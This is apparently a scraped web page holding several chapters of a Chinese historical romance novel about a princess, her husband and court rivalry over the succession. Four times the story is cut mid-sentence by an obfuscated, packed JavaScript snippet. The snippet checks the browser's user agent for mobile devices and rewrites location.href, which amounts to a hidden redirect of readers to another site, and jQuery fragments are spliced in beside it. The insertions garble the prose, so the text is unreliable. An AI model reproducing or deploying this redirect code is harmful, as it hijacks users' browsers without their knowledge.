“高齐光!”她立马跑过去将人扶住,但一时不知紧张还是无措,反比病人还要发抖,脚步都有些跳跃,“你……我去叫稚……叫阿黛姐姐来看你!” “不要!” 可未及她松开手,却已被他的怀抱倾覆,而耳畔听到的却是略带质问的怨怼:“你说不去很久,却去了这么久,为什么骗我?” 刚刚的慌促还悬于心间,她无法消受这莫名的话语,以及这不留余地的拥抱,只含着粗重的气息逼自己说道:“你这么疼,一定是生病了!为什么不让我去叫人?” 齐光感觉到她已极尽窘迫,是一种能够渗透进他心里的窘迫,而徜徉其间,他得到的却是慰然快意,于是竟一笑:“我不骗你,我是疼得有些忍不住了,可你便是良药,何必再烦旁人?” 他突然语出轻佻,同霞只觉满心一沉,失望透顶,又后悔至极。她许久不再回应,他终于才松开了双臂,四目相望,她的面容已变得静如平湖。 但她并没有走开,抬起一双手又来扶他,“既不要良医,便也没有良药,请去躺着吧。” 齐光顿了一顿,却不能辨析她的情绪,依从她一齐去了榻上,“你上次生病也不肯就医,为什么到我,你就生气了?” 他居然无辜发问,直白至此,同霞不由好笑,也只剩好笑:“我没有生气,当然,你要是觉得我总在骗你,那我便是生气了吧。” 齐光惊了一惊,为她辗转的语意不敢深思,亦为自己的不察而深觉歉疚,他并不是她想的那样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739759|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同霞含笑将他的神情一眼带过,侧身为他垒起靠枕,推着他躺好,一眼看见自己用冰时盖的厚毯,也伸手扯了过来为他盖上,“不疼了?” 齐光咽了咽口水,“疼。” 他的脸色可以替他证实,同霞心中了然,还牵着厚毯的手不觉一握,慢慢地伸向了他的腹部,轻轻地按揉起来,“你这样有多久了?是吃坏肚子了?” 齐光却不回答,眼睛从她面上移向自己腹上,受宠若惊,“我没有吃什么,就……吃了你剩下的糖。” “那包青梅糖?” 其实依她习惯,家中已备了许多糖,她并没有都带走,但听他一提,她便只想起那包挂在衣架上的青梅糖。见他极快点头,方觉是不打自招,动作微微一僵。 她已十分露馅,却还强撑粉饰,似从不知道人在难为情时,眼睛是会不自禁避开的。“你不喜欢,我才吃的,反正是我自己买的——这就叫自讨苦吃吧。”齐光不忍她独自难堪。 她果然听出双关之意,嘴角刻意抿了抿,“我看你其实也不十分疼吧,疼得要紧是没心思乱说话的。” 齐光只是继续盯着她已恢复按揉的手,“我愿意的。若你不是公主了,我也养得起你,三餐之外还能给你买糖。” 或是与上句相差太远,或也是与那一句相隔太多,同霞竟一失神。而心意未明之际,她已被他忽而伸来的双臂横抱至他的腿上,他的冷汗已收,贴近的目光也变得无尽暧昧: “二十天太久了,你下次可以不去这么久么?” 可奇怪,同霞并不觉一丝不适,“二十天还不到一个月,我算好了立秋才回的,不久吧。” 他缓缓摇头:“可二十天前,我们不过才成婚月余,一月才三十日,还不算旗鼓相当?还不久么?” 同霞笑了,觉得此语令人惊叹,抚着他的脸,道:“夫妻之间理该旗鼓相当,你说得也对。” 她这样注解,齐光不曾想到,也不认为是一个恰当的注解,但正欲说话,双唇却被她骤然封住——她的唇珠温软,分明还残余甜腻的糖浆。在他回家之前,她一定吃了许多糖。 但他不能沉溺下去,纵使余甜勾人,也用尽力气脱离了开来:“你知道自己在做什么?” 她懒散地一笑:“尽夫妻的本分,做你的良药啊。” 齐光的面色沉了下去,不意又是自己的过失,“你不怕我们会有孩子了?” 同霞觑眼看他,啧啧说道:“那我长久没有生育,又不让你再纳妾,最后还不是我自己落个善妒的名声?我想明白了,我们还是生个孩子——将来两个孩子也好作伴呀!就像你和阿黛姐姐这样,兄妹之间互相扶持,互相关心。” 她无论怎样挤眉弄眼,一双瞳仁终是炯炯清澈,所以越发叫人难以置信,也越发令人痛彻心扉。 “好。”他嗓中发出喑哑的一声,遂扶着她的身躯一齐躺倒。帐下没有红烛,却叫他想起合欢宫中初尝欢爱,她那时和现在想的一样吗?是一样的吧! 夜已冥冥,才看见此夜竟然没有月光,墨云拖雨,才发现此夜原来并非良宵。 “驸马,我不会不是公主。” 没有金瓯新酒,她说的不是醉话,鬓散钗斜,是她在催促他的恣情。 “臣高齐光,愿闻其详!” 17.得君行道 她看见他的眉心,不知是因病痛还是因她故意的激怒而深深攒聚,裂开了两道陵谷崩摧般的痕迹。或是两者兼有,相辅相成,齐头并进,激发了令他沉迷的快感。 她的心意也因此变得急促而混乱,就像原本就不明白,他对她的本分,是发自丈夫对妻子的情爱,还是仅仅只是势如泄川的欲望。可是谁会在罗帐香帏间,鸳衾枕席上去理论道德?这样的道德会将她衬托得无尽可笑。 她却又不自禁地想到冯氏,以及那个秋末便要出世的孩子。他与冯氏必也有过这样的夜晚,可他为什么迟迟不肯给他的第一个孩子取名,而她又为什么总要用这个孩子去挑衅他…… 不期然的疼痛传袭到她的身上,但她咬在口中坚决没有放声。忽有冰凉的眼泪从眼角滑落,可耳畔是悬崖,聚不起可以渡鹤的深渊,水中的明月,清风拂过便不再圆满。 他的动作慢了下来,停了下来,通红的双眼有着叫人分辨不清的怜惜。他为她牵衣盖毯,轻抚着她潮湿的鬓发,将她揽到自己炽热的胸膛,终于也落下清澈的泪水。 “对不起。”他忏悔道。 她却微微一笑,手臂将他环紧,红润的脸颊贴着他汗湿的肌肤滑到他的腹部,“还疼吗?” 他的声音似有隐忍的哽咽:“不疼了。” “看,我就说我是良药。” 她得意地笑出来,笑声清越,与那时杏园相见,她因别怀目的而粉饰的巧笑一样。 一样真切。 * 当高齐光再次因同霞被参之事到访高琰府邸时,阍房的小仆虽照旧迎了他进去,却也只叫他在中堂等候,并不像从前都是直接将他引至高琰的书房。 他因而猜测这并不是高琰的意思,便问这小仆道:“老师可是身体不适,不宜见客?” 若是有疾,小仆自然不会叫他空等,果然一句试出底细,小仆面容尴尬,眼睛翻上翻下地忖度了半晌,终于赔笑道: “非是小奴有意怠慢,小奴也知高驸马不是外人。实则是……是王妃回来了,家翁正与王妃说话呢。” 王妃自然是指肃王妃高慈,只是这女儿回门的寻常事,高慈再是贵为皇妇,也不必这家奴摆出这般神秘又为难的态度。然而,齐光也没再继续追问,遣走了小仆,平静地等了下去。 约有一二刻,他似乎定了神,忽觉眼前人影移动,恍然才抬起头来,“二公子?” 高惑才自外头归家,远远便见中堂廊下立着一个熟人,没多想就改道而来。但不似上回相见情急,说话前先见过一礼:“高驸马近日来得真勤,想必是为公主之事焦心不已。” 原来他不过表面从容,话意却比前次更直白,齐光只一笑:“高某惭愧,虽是驸马,仍旧官职低微,不得直接面君,都中也再无亲朋旧故,便唯有叨扰许国公了。” 高惑轻嗤一声,道:“亲朋或者无,旧故难道也无?礼部的裴尚书不正是你的座主么?”不容齐光反驳,又道: “其实这些事的源头不过都在你身上,公主向来柔弱无争,更非男儿关涉朝事,别人为什么针对她呢?” 齐光本不在意他的态度,一听这话竟大觉意外:他与同霞是自幼相伴,同霞还曾亲口说愿意嫁他,可他原来一点也不了解他思慕的公主——这位公主哪里能以“柔弱”形容。 “只能是因为嫉妒你骤得恩宠,一日登龙。可你却根本不自知,还成日奔走我家,恐怕连我父亲也要为你所累!” 因为意外,他紧接着的无稽之谈,齐光更如耳旁风般,只温和道:“二公子年已弱冠,或者参加春闱,或者门荫备选,已足可以入仕为官了。为何老师仍叫二公子在弘文馆读书,高某先前也不解,可现在倒是有些明白老师的苦心了。” 这话分明是在羞辱高惑无知,高惑也只听出了羞辱之意,便无心再深思,余下的几分从容也抛开了:“我再如何,也不似你宠妾无度,私德不修,纵是功名傍身,官运亨通,也是君子不齿之人!” 此时此刻骤然提到冯氏,却果然是射中了齐光的短处般,他不由暗暗切齿,背在身后的手也不觉攥得骨节脆响。 但不及二人再有交锋,高琰差来的小奴匆匆而至,道:“家翁请高驸马移步书房相见。” 话音未落,已见高惑拂袖而去。 * 大约是近日“冯氏”被人提得太频繁了些,齐光去往内院的一路都难以平静,直至转过一道长廊,瞥见了对面廊下高慈低头掩泣的情景。为避嫌,他很快正过了眼睛,虽也不可多问,心中浮躁一时却都平顺了下去。 稍待进到书房,甫见高琰是一副略显严肃的面貌,想起方才高慈的情状,他躬身行礼后,只小心问道: “学生听门奴说,肃王妃回来过。老师如此忧容,难道是王妃受了什么委屈?” 高琰抬了一眼,却道:“安喜长公主的事,陛下没有理会那些奏章。公主盛宠,此事也不知源头,你不必太过担心。” “陛下召见过老师了?”齐光微露惊讶,直欲起身拜谢,被高琰伸手托住,又对他道: “你知道,陛下说了什么?陛下于内朝便殿召见,同在的还有御史大夫蒋用。陛下先斥了蒋用无能,转头却是一顿盛怒,说公主从未主动求赏,所谓逾制只是对陛下对幼妹的疼爱。公主与你婚后也相敬如宾,崇尚节俭,更不去招揽门客,如此行端坐正,却屡遭恶议,这弹劾之人当必是居心叵测。” 高琰说得这般详细,齐光却知关键不过就是最后一句。 高琰身为首相,虽则事事该管,但御史台的职责,上至君王下至百僚,几乎无不可谏奏之事。所以皇帝原无必要在斥责蒋用时,让高琰在场。而天威降下,实在是有指桑骂槐的意思—— 居心叵测,是什么居心,又是怎样不测,便是不言而喻的了。 “老师是说,御史台查不到弹劾公主的人,陛下怀疑是老师在背后弄权?因为老师是肃王的舅舅,而公主素与许王交好,学生如今也是许王的老师。” 高琰不意他说得如此直接,心中暗暗一惊,但缓而还是点了头:“公主是没做什么,但素来的名声却是最容易为人诟病的。许王又即将选妃,许多事从许王着手太过明显,公主便成了出头之鸟。只是我也好奇,这人真以为自己是不动声色么?” 叹声摇头,又道:“只怕陛下也未必想找到这人——老夫只能吃了这暗亏。” 齐光听罢却淡淡一笑,沉声道:“不论陛下如何想,或至此事就是陛下……老师只需按兵不动,那人又能如之奈何?” 他的见解如此深刻切至,高琰不由目色一亮,倒吸了口气,又想起他上次探病时的言论,忽而心底油然生出无尽赞赏。细细端详他半晌,抚须又道: “公主之事不过诬告,可许昌郡公徐纵受财枉法,却是确凿无疑。徐纵便是肃王侧妃徐氏之父,弹劾他的奏章是今早呈送了陛下。他受财为人得官,陛下虽一时未发落,却已将那人除官下狱。” 齐光波澜不惊,问道:“难道也是匿名弹劾?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747836|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 高琰道:“署名是孟殊平,只是一个正八品的监察御史。我已查过他的履历,似乎并无特别之处。” 齐光点了点头,说道:“纠察百官本是御史本职,但老师一定担心,肃王与王妃会因此生出误会吧?” 他进门第一句便已提到高慈,高琰与他推敲至此,也本没打算遮掩,便认同道: “不瞒你说,慈儿是我托词她母亲身体不适,特意叫回来的。他们夫妻的事想必你也有听闻。我只是担心,是慈儿嫉妒徐妃有宠,一时糊涂才操弄此事。” “王妃深居王府,罪名可以捏造,事实又怎么作假呢?”齐光紧接着道,露出不敢相信的神情。 高琰叹了一声,说道:“慈儿也说与她无关,但又告诉我,徐妃为此忧惧成病,肃王关怀迫切,也已言语怪责。我想,他们夫妻实在不宜在此时闹开了。” 一桩公案论到此地,不管是徐妃之父有罪在先,还是高妃之父或成池鱼,实则交集便在肃王一身。齐光很明白高琰的尴尬,也很理解他呼之欲出的暗示: 此事需要一个既无关徐家案情,又兼涉两处人情的人去居中调停。 “老师若是放心,学生愿意走一趟肃王府。”齐光主动点破,又起身拱手行礼,方道: “学生知道老师苦心栽培,若非公主看中学生,横生变故,老师原就是想让学生去肃王身边的。但以学生看来,如今的时机,其实反而更利于行事。” 高琰的目光越发意味深长,不叫他回坐,亦不置可否,只考量般问道:“肃王虽由皇后抚养,但毕竟另有心肠,最忌惮不过的便是陛下宠爱许王,你怎样取信于他?” 齐光既敢主动请缨,自是成竹在胸,一笑回道:“肃王虽疑心王妃,发泄怨怼,但自己也并不敢,亦并不能为徐纵脱罪,那么此事终究只能是一件家事——而学生再是出身寒微,如今论家人之礼,也是肃王的姑丈,肃王会听学生一言的。” 一股深切的畅意自高琰胸怀间蔓延开来,他不禁对高齐光露出无限赞叹的神色,携他入座,道:“老夫没有看错你。”拍了拍他的肩膀,又道: “你便替我转达,徐妃的父亲,老夫自会设法请陛下从轻发落。至于他们夫妻之间,老夫也只求相安无事。” 齐光并不自得,谦逊还礼,道:“肃王会明白的。” 诸般事情已经条分缕析有了结果,齐光便欲告辞,可忽然竟见高琰亲自起身为他奉茶,又安抚他不必推拒,说道: “我两个儿子,高懋不喜读书,如今任职羽林,将来可到军中历练,也算适得其所,至于高惑,年轻气盛,不谙世事。便也只剩你为我分忧了。若将来肃王能够为陛下所重,自然也会念你的功劳。” 齐光投在高琰门下也有数载,还是第一回听高琰谈论起子弟家事,说得这样细腻亲近,必定不是常人都能享有的待遇——这是高琰在向他许诺前程。 “肃王位在嫡长,恭谨节制,饱有贤名,理该是储君的人选。学生欲得君行道,当为肃王。”齐光便只能回以旗鼓相当的豪言。 * 齐光从高府出来时,随从荀奉仍于阶下牵马等候,将缰绳马鞭递给他,照常问了句:“公子现在是直接回家么?” 齐光并不回答,仰面看天。虽才初秋,繁京的天际却比夏日高阔了许多。天边浮云流散,看不出来的道路,也辨不清去的方向。 可他不似浮云,在繁京这片天际下,早已有自己的道了。 “嗯,回家,公主在等我。” 18.水阔鱼沉 “你看着我做什么?我脸上又没有吃的。” 同霞捧腮坐于案前,对面是拿着筷子却半晌不动的高齐光。案上摆了七个碗盘,除去一碗是麦粥,却有六样是佐粥的菜食:蒸饼、糟笋瓜、白藕、胡芹、菠菜、干酪。 这六样虽远称不上豪奢,甚至一点荤腥也无,但对于一碗粥而言却也算得铺张了。更重要的是,齐光只觉同霞今夜有些不同。 他尚未想到如何问起,同霞倒先没了耐心,扫视菜肴,又问道:“难不成你是嫌太素了?” 齐光摇头,想起成婚以来,自己常是早出晚归,而她则作息不同,夫妻少有一起用饭的时候。最近的一次便是她出城前夜,也是这样没有肉食,却也没有这么多花样。 “我早说过,我的饮食一向简素,这已经好得有些过了。”顿了顿,又道:“为什么只我吃,你不吃?” 同霞转了转眼珠,却歪到了一旁木几上,慢慢才道:“嗯……我问过阿黛姐姐了,她说我不在的时候,你根本不好好吃饭,也不好好休息,有几次到早上还看窗上透着灯,还有几次就在书房里睡了——你这样作践身体,不胃痛才怪呢!” 齐光还以为她有什么大道理,听来已不觉暗暗抿笑。她故意不看着自己说话,只能是害羞了。“所以,你是在惩罚我吃撑了才好?还是说,你在关心我?” 同霞斜来一眼,明白这两句都是一个意思,道:“这两样,倒是都不相干。” 虽被她揶揄,齐光并不在意,轻一点头,终究下箸,将六菜一粥一一尝过。 同霞静静看了片时,忽于他端粥入口之际发问道:“你有什么焦心为难的事,非要把自己弄病了才好?只是为我的那些流言么?” 她知道他今日又去了高府,但进门至此,她也没有问起详情。忽然这样拐弯抹角地提起,不免反而略显刻意,也显得这六菜一粥并不是精致的关怀,而只是一个煞费苦心的引子了。 他不能点破,轻叹一声,放下了碗筷,先将高琰所述转叙了一遍,又道:“我不愿你为人无端诟病,因为我最知道,你不是那样的公主。难道我身为丈夫,不该为此焦心么?” 同霞听来,皇帝的态度,高琰的处境,都与她算计得不差几分。可他随后的话,她却一时无措,暗咬着唇重新端坐,方道了句: “我只是怕你有别的事不肯告诉我。” 齐光皱眉一笑,起身换到她身侧坐下,将她双手牵到怀里,柔声道:“别的事,我也告诉过你了——你一去太久,我有些想你了,是以夜不成寐,食难下咽。” 同霞以为他们不至于有这样的深情。这是深情么?倒是令人心惊肉跳!她急忙低下头去,但耳面已先擅自滚烫了起来。 “那么……陛下怀疑此事是高琰所为,会不会因此迁怒肃王?他打算怎么平息陛下怒火呢?” 这显然并非齐光期待的下文,但她就算是掩饰情怯,随口捻来的话,却精准得像是早有蓄势。愣了一愣,他终究觉得过虑,回答道: “此事原非高相所为,但陛下狐疑,也是因国本未定,总要防备有人暗中作祟。这一点,高相是明白的。他只需一切照常,就像上回他自己身陷流言,不加理会,后来不也销声了么?” 不加理会——可同霞算的是要让高琰急于求成。 “他待你推心置腹,你也算是他的智囊了,他以后一定会更加提携重用你的。”同霞以天真烂漫的口气,近乎祝贺地说道。 齐光默默看着她,面带微笑,等到她笑意淡下,方衔接道:“霞儿,我还有一事告诉你,我要去见一见肃王。” 同霞疑心自己听错,又疑心他别有深意,都一笑掩过:“哦,为什么要去见他?但我记得你们本也有些交情吧?” 齐光很快点头,便将今日在高府余下的一半事情坦陈,又道:“高相毕竟身份尴尬,此时我若能出些力,也算对他有所报答。” 他其实从未掩饰过与高琰的交往,他是高琰提携之人,也理该与高氏并肩而立。只是到如今,同霞才可确定,他终是一心要做高家的人了——这也是她认为值得接近他的“妙处”。 可她却一无得逞的兴奋,只觉得如坠深渊。 她并不许自己沉顿下去,片刻后恢复如常,道:“所以高郎,你也认为陛下立肃王为太子更好,是不是?” 齐光既坦白自己的举动,答案也是不言自喻,从容道:“国本之事,不是我一个小吏可以左右的,但目下只有稳住肃王的内事,才不至于生出更大的风波。” 没有更大风波,高氏便会越稳固,因为高氏的权势已极,平静才是他们想要的。他没有直说,但也足以令同霞心头一震。 她点了点头,以欣慰的姿态道:“朝政的事,谁都能看出风向,但真正能看透的也没有几个人。你若能审时度势,对你的仕途是有好处的。”说着缓缓向他怀中依去,含笑又道: “你想如何,放手去做就是,高琰会帮你,我也可以护着你。七郎那头你也放心,他根本没有这份心思,不会让你为难的。” 齐光感觉到她的情绪并不是脸上看得那样,却又寻不出半分破绽,一手将她揽紧,一手捧起她的脸颊,轻声问道:“许王纯善,纵无此心,也已无法脱身,你是在为他担心么?” 无论是在书房对萧遮说得那番话中的表露,还是宫宴那夜托借醉意的吐露,同霞也从未对他掩饰过与萧遮的情分,此刻便也只能认同:“他和我一样,什么都不想要,只想安度此生。” 齐光看见她的眼眶微微泛红,自己也跟着鼻内一酸,心底生出难以一言蔽之的愧疚:“无论如何,我总是许王师,能护他处便不可能袖手。就更不用说你,我再是位卑言轻,也绝不许任何人伤害你。” 与他成婚以来,总能听到他说一些动人的话,也多是他在说,她在听。这真像是稚柳评价的那样,他于夫妻的本分做得不差。可此时此刻,她心中想的居然是——他说的都是真话就好了。 她控制不住地流下泪来,却又不知是感动,还是遗憾。 但她清晰可知的是,她与他,果然是咫尺天涯了。 “怎么了?!是我说错什么了?”他急起来,如临大敌般,为她拭泪不是,拍抚她亦不是,手忙脚乱中却被她展臂深拥,听她道: “高郎,谢谢你,对我这么好。” 齐光松了半口气,仍有半口上不来也下不去,叫他逼出一脊的冷汗,却又见她松开拥抱,含泪带笑,巧露贝齿:“你带我一起去肃王府好不好?我们夫妻去看望他们夫妻,也更像样些。” 这是齐光没有想过的,然而既不好回绝,也无伤大雅,“好,等过几日休沐,我们同去。” 那半口气这才缓缓咽了下去,见她胡乱就引袖揩脸,不免取出随身的帕子替她轻轻擦拭,“以后不要再哭了,除非是我做了什么叫你难过的事,但那样,倒也更不值得了。” 他不可能知道自己的想法,可他说得又像是隐晦的谶言。同霞细看他的眼睛,澄净平和,别无浮色,只有点头,一笑:“你继续吃吧,全部吃完才好呢。” 齐光看向案上一眼,正在她眼下擦拭的手,顺势屈起食指刮了下她的鼻梁,“看来果然是要惩罚我,才刚还不承认!” 同霞亦不再回避:“那你敢不认罪?” 齐光无奈一叹,将帕子塞进她手里,转从案上拿起一块蒸饼咬了一口,鼓囊着道:“臣不领罪,臣领家法。” 同霞没有忍住,噗哧一笑。 * 引绿、舒朱一前一后自冯氏房中出来,脸上都是一样气恼的神色。走到厨下小门,后一步的舒朱又忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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稚柳其实并没想贬低冯氏,见她自说自话,心中只觉无奈,只恭顺道:“从前常为公主看诊的胡医官,为人谨慎,医术精湛,妾这就去叫李固知会他一声,再准备两个产娘,以备冯氏安产。” 同霞很满意,点头一笑,仍伏回案上,不再说话。 窗外秋风未歇,虽不至萧瑟,草木黄落也已可见端倪。 * 许因明日休沐,齐光回家的步伐也不觉轻快,及至踏进屋门,目光尚未寻上身影,已觉胸口被一轻撞,垂目便见到了她的笑脸,一瞬暖意心潮,交织不绝,环住她柔声道: “今天怎么这么高兴?” 同霞嬉笑一声,道:“从前我生病,都是太医署的胡太医为我看疗,他很好,无所不长。所以我请了他来为冯贞安产,还有两个产娘,你说好不好?” 她这样开场,齐光听到一半,也只以为是她又有不适,后一半听完才觉原来是自作自受,“何必劳动医官呢?不是有阿黛在么?” 他的语调脸色眨眼骤变,都在同霞意料,从容道:“阿黛姐姐再通医术,到底尚未出嫁,她会比产娘还懂生产么?母子两条命,谨慎些岂不好?” 又问道:“冯贞好歹是你母亲临终所托,怎么我总感觉,你待她过于随意了?你上京之前想必不是这样,不然怎么能有这个孩子。” 齐光一句反驳的话都说不出来,但抱持她的双臂却又不自禁地加了些力道,半晌一叹: “你想知道,我就告诉你,是上京前与同僚聚宴道别,我一时酒后无德。” 同霞诚然是想问,但也诚然没有想到他会说,极短的失神后,仍作一笑:“有名有份,不算无德。” 他的眼里分明透露苦笑,但她不懂为什么是苦笑。 19.鹤书赴陇 公主府和许王府同肃王府一样,都设于太平坊,且相隔不过数道横街。同霞早在知晓皇帝这番安排时便知,来日必有机会亲往肃王府。只是这一天来得太快,她只能当机立断决定,却尚无步步为营的门径。 于是直到站在肃王府中堂下,望着惊慌奔去通传主家的小奴身影,她的心中仍是无底。齐光却从出门时便见她不似平常面色,趁得这间隙,不由关切问道: “是哪里不舒服么?不然今日先回去也罢?” 同霞倒并没有失神,当即抬起脸来,只道:“我很好,只是看那小奴吓得可怜,也好笑。”果作抿唇淡笑,又问道: “都站在这里了,怎么好回去?莫非是你后悔多事,原并不想带我来的?” 他们初次登门,肃王府没有预备,下人自然颇受惊吓,想必肃王得知来得也快,所以齐光当真是关怀,怕她稍待见人时有何不妥,更不便说,强自隐忍。 凝噎片时,终不解她疑心何来,齐光唯有皱眉一笑:“究竟还是公主与肃王亲近些,臣是借了公主的光,才能‘登堂入室’,如此便宜。” 同霞一听,顿感赧然,这才发觉自己是此地无银,喉中咽了咽,低了眼睛,咬唇又道:“还学士呢,‘登堂入室’不是这么用的。” 她羞惭中又带倔强,无理得稚气,齐光满心忍笑,正欲哄她一哄,廊庑远处,肃王夫妻已然疾步迎来。 四人当中,自是同霞辈分最高,萧迁提着心狐疑地走近,暗将齐光上下打量过,开言仍是对准了这个小姑姑,拱手道:“姑姑今日突然幸驾,倒叫小侄不胜惶恐,也着实怠慢了。” 这话正应了齐光先前所言的“借光”,同霞不由瞥了他一眼,略显生涩地回道:“你我之间不必客气。”目光划过一旁的高慈,见她一副垂眉姿态,一笑问道: “许久不见慈儿,看着瘦了些,近来身体可好?” 高慈比同霞大五六岁,又原本就瞧不上这位公主,但每每当面相处,总要顾忌名分,不得不表露恭敬,再听她这般称呼,更觉窝气,便只淡淡回道:“多谢姑姑关怀,妾一切都好。” 不论是近日事端,还是她真实的内心,同霞都一清二楚,便因此忽然竟生出了几分谋算,更作一笑,走去将她牵住,对萧迁道: “其实今日是驸马有事找你相商,我就是无聊跟来的,不如你们自去说话,有慈儿陪我就够了。” 萧迁这才将眼睛转看齐光,见他拱手躬身,虽不言一字,眉宇间却果然有些态度,忖度一时也只好应承,嘱咐了高慈好生侍奉,又命下人备席,做足了礼数才亲将齐光引向内堂。 齐光虽是有的放矢,跟随萧迁去前,眼睛却舍不开先一步转身的同霞,不知为何,总觉她的神色变得太快了些。 “高驸马与姑姑成婚也有数月了,还如此难舍难分么?” 萧迁与齐光也算略有浅交,此刻只剩二人,见他目光流连,随口取笑了一句。齐光倒无谓掩饰,淡淡一笑,却道: “臣只是在想,公主觉得王妃清减了,大王身为丈夫,不知是否也觉得有些不妥?” 萧迁本不知齐光来意,猛听他语出冒犯,心中一凛,沉声反问道:“此话何意?” 齐光仍然从容,躬身拱手:“臣欲解大王燃眉之急,心腹之忧。” * 高慈将同霞引往自己玉阁,穿行后园小径,忽见同霞滞后了几步,不解问道:“姑姑怎么了?还没有到呢。” 同霞却是环顾观赏,慢慢才将眼睛落在她脸上,笑道:“你就不好奇,驸马究竟是为什么来的?” 高慈一心只想供奉了这尊佛,走个过场,此刻当真别无他念,闻言一愣,道:“他们自然是有些公务,妾不便干涉。” 她神色无辜,同霞果然瞧不出掩饰,再想她素来的性情,倒也不算精明通达,只得微微点头,索性直白提点: “府上徐孺人的父亲,许昌郡公徐纵受财枉法,被御史弹劾,这你总该知道吧?” 同霞先前言她消瘦,并不只是客套,她正为徐妃之事深受委屈,连日都是情志不畅,食不甘味。然而忽被点破,惊诧之余,她也只要顾及自己体面,便装作随意道: “此事也是朝堂公务,妾与徐氏都无法多管,大王也更该避嫌。高驸马又能做什么呢?” 同霞自能看透她的态度,轻轻抿唇,又道:“驸马是也管不了,可你父亲却是能说上话的。是他叫驸马来当和事佬,先平了你们夫妻内事,再保徐纵从轻发落。” 高慈日前回门,父亲只是问她有无操弄徐纵之事,她言及委屈,父亲也并没对她承诺安慰。这时忽闻父亲竟委托了外人,纵然高齐光与家中深有渊源,这位安喜长公主却不可信任,一时羞愤交加,强忍不过,泄漏了几分不敬,道: “妾并不知父亲的考量,只是姑姑如此急着相告,是觉得大王不会告知妾,已厌弃妾到这个地步了?姑姑是来看妾笑话的?” 她在王府的处境不佳,同霞不是到今日,因这一件事才知晓。半途说开,也不过就是故意激怒,见她果然中招,又上前拍了拍她的手,摇头叹气道: “若真要看你笑话,冷眼旁观便可,何至于登门费事?你很该想想你父亲的苦心,他帮徐家也是为了你的名声,你在府中更要贤德,多多体恤徐妃才是。” 高慈难信她有真心,也不愿听她摆布王府的内政,轻哼一声,道:“徐纵有罪,也没有牵连徐妃,她好端端的,妾还要怎么体恤?妾好歹是先帝下旨赐婚大王的正妻,总不能巴结一个侧妃,失了身份。”顿了顿,扬起眉眼,又道: “姑姑更是天潢贵胄的长公主,从前多么骄傲,怎么如今偏爱为这些妾室之流费神呢?” 她话外有音,近于直白,虽出人意料,却也不算离题,同霞深吸了口气,眼中表露令她奇异且不解的欣然,缓缓只问道: “徐妃的居处在哪里?烦你引路,我要去看看她。” * 齐光一句解忧的话,虽不算将事情一语道破,却已叫萧迁心领神会。待到内堂,屏退左右,他只挥手省去一切虚礼,开门见山地问道:“高学士此来,可是受许国公之托?” 齐光观他一路神色举动,已知不必再冗言解释,坦荡道:“许国公是大王的岳丈,也是舅父,如此亲缘,却要托臣之口转达心意,便是知晓大王对他心存芥蒂,也不宜在此刻增添大王的反感。那么,臣斗胆问,大王当真以为徐纵之案与高家有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762916|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 他寥寥数言将因果分析得如此清楚,萧迁不由生出佩服,先前只以为此人不过是运气好,相貌好,投机取巧才得平步青云,于是心中盘桓思量,一笑道: “孤知道王妃前几日回了趟娘家,想必是把孤的气话当成委屈说给了许国公。既是气话,又怎会是真的呢?” 叹了口气,又道:“孤年少失恃,幸有皇后躬亲抚养,才有今日,孤是不会忘记这份恩情的。再者说,孤与王妃青梅竹马,一齐长大,纵是府上妾妃再多,又怎比得上我们二十年的情分?孤看许国公是多虑了,这些家事原不必小题大做。” 这话说得真情假意皆有,但齐光只想起高琰与他交底之言。他更相信高琰,也更相信众所周知的事实:萧迁终究不是高皇后的亲子,许多事的根源就在此。 他仍作颔首,说道:“许国公虽则多虑,也并非是怨怼大王,他只想大王夫妻和睦,至于徐纵,他会想办法令其从轻发落的。毕竟正如大王所言,事情不必小题大做,大王安好,风平浪静,才是正道。” 这高齐光当真不是一个简单的说客。萧迁难知高琰的原话如何,但一个“风平浪静”,却叫他感到了风浪之下的暗流。 高氏分明与徐案无关,高琰却愿意出手平息,若说是为了女儿在王府的处境,却完全不像高琰的做派。他们夫妻不是到今日才有分歧,高琰是从未插手的。若要此事说得通,那便只能是—— “许国公近来颇有些不得意,他是怕我借题发挥,动摇他们高氏的根基吧?” 齐光唇角扬起:“大王睿智。” 